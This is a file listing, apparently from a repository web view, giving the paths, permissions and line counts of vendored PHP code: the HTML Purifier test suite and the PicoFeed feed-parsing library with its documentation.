-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDefTest.php32
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/BackgroundTest.php45
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/BdoDirTest.php34
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/BgColorTest.php49
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/BoolToCSSTest.php43
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/BorderTest.php43
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/EnumToCSSTest.php82
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/ImgRequiredTest.php61
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/ImgSpaceTest.php62
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/InputTest.php105
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/LangTest.php52
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/LengthTest.php51
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/NameSyncTest.php45
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/NameTest.php35
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransformHarness.php14
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransformTest.php45
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTypesTest.php27
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrValidator_ErrorsTest.php71
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/ChameleonTest.php44
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/CustomTest.php99
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/ListTest.php54
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/OptionalTest.php39
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/RequiredTest.php78
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/StrictBlockquoteTest.php96
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/TableTest.php86
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDefHarness.php17
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ComplexHarness.php138
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/InterchangeTest.php23
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/aliasesAliasCollision.vtest13
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/aliasesDirectiveCollision.vtest12
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/allowedIsString.vtest7
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/allowedNotEmpty.vtest7
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/defaultIsAllowed.vtest7
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/defaultNullWithAllowed.vtest5
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/defaultType.vtest6
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/descriptionNotEmpty.vtest5
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/ignoreNamespace.vtest3
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/typeDefined.vtest5
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/typeExists.vtest6
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/typeWithAllowedIsStringType.vtest7
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/typeWithValueAliasesIsStringType.vtest7
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/unique.vtest11
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/valueAliasesAliasIsString.vtest7
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/valueAliasesAliasNotAllowed.vtest8
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/valueAliasesNotAliasSelf.vtest7
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/valueAliasesRealAllowed.vtest8
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/valueAliasesRealIsString.vtest7
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/ValidatorAtomTest.php110
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/ValidatorTest.php111
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/ValidatorTestCase.php47
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchemaTest.php104
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigTest-create.ini4
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigTest-finalize.ini4
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigTest-loadIni.ini6
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigTest.php577
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ContextTest.php93
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionCache/Decorator/CleanupTest.php64
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionCache/Decorator/MemoryTest.php80
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionCache/DecoratorHarness.php25
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionCache/DecoratorTest.php42
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionCache/SerializerTest.php229
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionCache/SerializerTest/README3
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionCacheFactoryTest.php79
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionCacheHarness.php36
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionCacheTest.php33
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionTest.php22
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionTestable.php8
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DoctypeRegistryTest.php77
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ElementDefTest.php102
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/EncoderTest.php238
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/EntityLookupTest.php27
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/EntityParserTest.php88
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ErrorCollectorEMock.php52
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ErrorCollectorTest.php161
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ErrorsHarness.php42
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Filter/ExtractStyleBlocksTest.php261
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/GeneratorTest.php319
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLDefinitionTest.php389
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/FormsTest.php166
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/ImageTest.php61
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/NameTest.php36
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/NofollowTest.php30
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/ObjectTest.php42
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/ProprietaryTest.php32
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/RubyTest.php60
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/SafeEmbedTest.php46
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/SafeObjectTest.php55
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/SafeScriptingTest.php37
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/ScriptingTest.php61
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/TargetBlankTest.php22
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/TidyTest.php224
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModuleHarness.php12
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModuleManagerTest.php121
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModuleTest.php146
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT.php35
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/allowed-preserve.htmlt8
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/allowed-remove.htmlt8
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/basic.htmlt5
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/blacklist-preserve.htmlt6
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/blacklist-remove.htmlt8
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/css-allowed-preserve.htmlt5
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/css-allowed-remove.htmlt7
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/disable-uri.htmlt6
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/double-youtube.htmlt6
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/empty.htmlt6
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/file-uri.htmlt5
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/id-default.htmlt5
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/id-enabled.htmlt6
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/id-img.htmlt8
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/id-name-mix.htmlt11
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/inline-list-loop.htmlt5
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/inline-wraps-block.htmlt5
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/list-nesting.htmlt7
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/munge-extra.htmlt13
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/munge.htmlt52
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/name.htmlt6
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/safe-iframe-googlemaps.htmlt8
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/safe-iframe-invalid.htmlt7
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/safe-iframe-youtube.htmlt8
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/safe-iframe.htmlt14
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/safe-object-embed-munge.htmlt12
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/safe-object-embed.htmlt8
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/script-bare.htmlt9
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/script-cdata.htmlt11
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/script-comment.htmlt11
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/script-dbl-comment.htmlt11
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/script-ideal.htmlt11
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/secure-munge.htmlt12
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/shift-jis-preserve-yen.htmlt8
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/shift-jis-remove-yen.htmlt9
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/strict-blockquote-with-inline.htmlt7
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/strict-blockquote.htmlt7
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/strict-underline.htmlt7
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/style-onload.htmlt6
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/tidy-background.htmlt5
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/trusted-comments-required.htmlt6
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/trusted-comments-table.htmlt5
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/trusted-comments.htmlt5
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/whitespace-preserve.htmlt3
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Harness.php117
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/IDAccumulatorTest.php40
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Injector/AutoParagraphTest.php577
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Injector/DisplayLinkURITest.php37
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Injector/LinkifyTest.php57
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Injector/PurifierLinkifyTest.php68
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Injector/RemoveEmptyTest.php96
-rwxr-xr-xvendor/ezyang/htmlpurifier/tests/HTMLPurifier/Injector/RemoveSpansWithoutAttributesTest.php112
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Injector/SafeObjectTest.php99
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/InjectorHarness.php14
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/LanguageFactoryTest.php73
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/LanguageTest.php85
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/LengthTest.php80
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Lexer/DirectLexTest.php131
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Lexer/DirectLex_ErrorsTest.php67
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/LexerTest.php819
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/.gitignore1
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/domxml.phpt15
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/func.phpt9
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/kses/basic.phpt15
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/_autoload.inc12
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/_no-autoload.inc17
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto-includes.phpt12
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto-with-autoload.phpt28
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto-with-spl-autoload-default.phpt25
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto-with-spl-autoload.phpt43
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto-without-spl-autoload.phpt19
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto-without-spl-with-autoload.phpt21
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto.phpt11
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/error-auto-with-spl-nonstatic-autoload.phpt32
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/path-includes-autoload.phpt14
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/path-includes.phpt12
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/safe-includes.phpt12
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/standalone-autoload.phpt12
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/standalone-with-prefix.phpt15
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/standalone.phpt13
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/stub.phpt6
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/utf8.phpt9
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/ze1_compatibility_mode.phpt14
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PercentEncoderTest.php71
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PropertyListTest.php101
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/SimpleTest/Reporter.php65
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/SimpleTest/TextReporter.php24
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/CompositeTest.php67
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/CoreTest.php51
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/ErrorsHarness.php19
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/FixNestingTest.php156
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/FixNesting_ErrorsTest.php47
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/EndInsertInjector.php19
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/EndInsertInjectorTest.php47
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/EndRewindInjector.php32
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/EndRewindInjectorTest.php39
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/SkipInjector.php13
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/SkipInjectorTest.php31
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormedTest.php170
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed_ErrorsTest.php71
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed_InjectorTest.php163
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/RemoveForeignElementsTest.php133
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/RemoveForeignElements_ErrorsTest.php81
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/RemoveForeignElements_TidyTest.php50
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/ValidateAttributesTest.php263
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/ValidateAttributes_IDTest.php71
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/ValidateAttributes_TidyTest.php400
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/StrategyHarness.php16
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/StringHashParser/AppendMultiline.txt5
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/StringHashParser/Default.txt2
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/StringHashParser/Multi.txt19
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/StringHashParser/OverrideSingle.txt3
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/StringHashParser/Simple.txt10
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/StringHashParserTest.php97
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/StringHashTest.php21
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/TagTransformTest.php180
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/TokenFactoryTest.php17
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/TokenTest.php34
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/URIDefinitionTest.php68
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/URIFilter/DisableExternalResourcesTest.php25
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/URIFilter/DisableExternalTest.php60
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/URIFilter/DisableResourcesTest.php27
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/URIFilter/HostBlacklistTest.php33
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/URIFilter/MakeAbsoluteTest.php175
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/URIFilter/MungeTest.php170
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/URIFilterHarness.php16
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/URIHarness.php33
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/URIParserTest.php171
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/URISchemeRegistryTest.php49
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/URISchemeTest.php221
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/URITest.php230
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/UnitConverterTest.php142
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/VarParser/FlexibleTest.php68
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/VarParser/NativeTest.php13
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/VarParserHarness.php36
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ZipperTest.php26
-rw-r--r--vendor/ezyang/htmlpurifier/tests/HTMLPurifierTest.php60
-rw-r--r--vendor/ezyang/htmlpurifier/tests/PHPT/Controller/SimpleTest.php26
-rw-r--r--vendor/ezyang/htmlpurifier/tests/PHPT/Reporter/SimpleTest.php86
-rw-r--r--vendor/ezyang/htmlpurifier/tests/PHPT/Section/PRESKIPIF.php36
-rw-r--r--vendor/ezyang/htmlpurifier/tests/common.php265
-rw-r--r--vendor/ezyang/htmlpurifier/tests/default_load.php3
-rw-r--r--vendor/ezyang/htmlpurifier/tests/generate_mock_once.func.php12
-rw-r--r--vendor/ezyang/htmlpurifier/tests/index.php217
-rw-r--r--vendor/ezyang/htmlpurifier/tests/multitest.php159
-rw-r--r--vendor/ezyang/htmlpurifier/tests/path2class.func.php15
-rw-r--r--vendor/ezyang/htmlpurifier/tests/test_files.php45
-rw-r--r--vendor/ezyang/htmlpurifier/tests/tmp/README3
-rw-r--r--vendor/fguillot/picofeed/.gitignore2
-rw-r--r--vendor/fguillot/picofeed/.travis.yml12
-rw-r--r--vendor/fguillot/picofeed/README.markdown57
-rw-r--r--vendor/fguillot/picofeed/UNLICENSE24
-rw-r--r--vendor/fguillot/picofeed/composer.json19
-rw-r--r--vendor/fguillot/picofeed/docs/config.markdown263
-rw-r--r--vendor/fguillot/picofeed/docs/debugging.markdown46
-rw-r--r--vendor/fguillot/picofeed/docs/favicon.markdown56
-rw-r--r--vendor/fguillot/picofeed/docs/feed-creation.markdown72
-rw-r--r--vendor/fguillot/picofeed/docs/feed-parsing.markdown164
-rw-r--r--vendor/fguillot/picofeed/docs/grabber.markdown97
-rw-r--r--vendor/fguillot/picofeed/docs/installation.markdown65
-rw-r--r--vendor/fguillot/picofeed/docs/opml-export.markdown46
-rw-r--r--vendor/fguillot/picofeed/docs/opml-import.markdown19
-rw-r--r--vendor/fguillot/picofeed/docs/tests.markdown14
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Client/Client.php540
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Client/ClientException.php16
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Client/Curl.php324
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Client/Favicon.php170
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Client/Grabber.php403
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Client/InvalidCertificateException.php13
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Client/InvalidUrlException.php13
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Client/MaxRedirectException.php13
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Client/MaxSizeException.php13
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Client/Stream.php170
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Client/TimeoutException.php13
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Client/Url.php254
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Config/Config.php90
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Encoding/Encoding.php171
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Filter/Attribute.php589
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Filter/Filter.php170
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Filter/Html.php196
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Filter/Tag.php173
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Logging/Logging.php95
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Parser/Atom.php281
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Parser/Feed.php188
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Parser/Item.php202
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Parser/MalformedXmlException.php13
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Parser/Parser.php610
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Parser/ParserException.php16
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Parser/Rss10.php77
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Parser/Rss20.php291
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Parser/Rss91.php13
